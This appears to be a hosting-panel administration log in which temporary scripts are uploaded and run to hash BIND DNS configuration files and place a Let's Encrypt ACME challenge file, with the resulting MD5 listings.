6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-20 06:00:49: Establishing a remote connection
2026-05-20 17:42:49: Establishing a connection
2026-05-20 17:42:55: Establishing a connection
2026-05-20 17:42:55: 

PUT: /tmp/pkp168646

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-20 17:42:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp168646; rm /tmp/pkp168646'

2026-05-20 17:42:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-22 06:00:01: Establishing a connection
2026-05-22 06:00:02: Establishing a connection
2026-05-22 06:00:02: 

PUT: /tmp/pkp818150

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-22 06:00:02: 

chmod 755 /tmp/pkp818150; /tmp/pkp818150; rm /tmp/pkp818150

2026-05-22 06:00:02: 


1


2026-05-22 06:00:04: Establishing a connection
2026-05-22 06:00:04: 

PUT: /tmp/pkp652206

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > jYFqhrrhSsr4hdLKbWVHLD7K7dCMgRB5jGUzdI6osWc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jYFqhrrhSsr4hdLKbWVHLD7K7dCMgRB5jGUzdI6osWc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jYFqhrrhSsr4hdLKbWVHLD7K7dCMgRB5jGUzdI6osWc


2026-05-22 06:00:04: 

chmod 755 /tmp/pkp652206; /tmp/pkp652206; rm /tmp/pkp652206

2026-05-22 06:00:04: 




2026-05-22 06:00:06: Establishing a remote connection
2026-05-23 10:34:32: Establishing a connection
2026-05-23 10:34:43: Establishing a connection
2026-05-23 10:34:43: 

PUT: /tmp/pkp125329

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-23 10:34:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp125329; rm /tmp/pkp125329'

2026-05-23 10:34:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
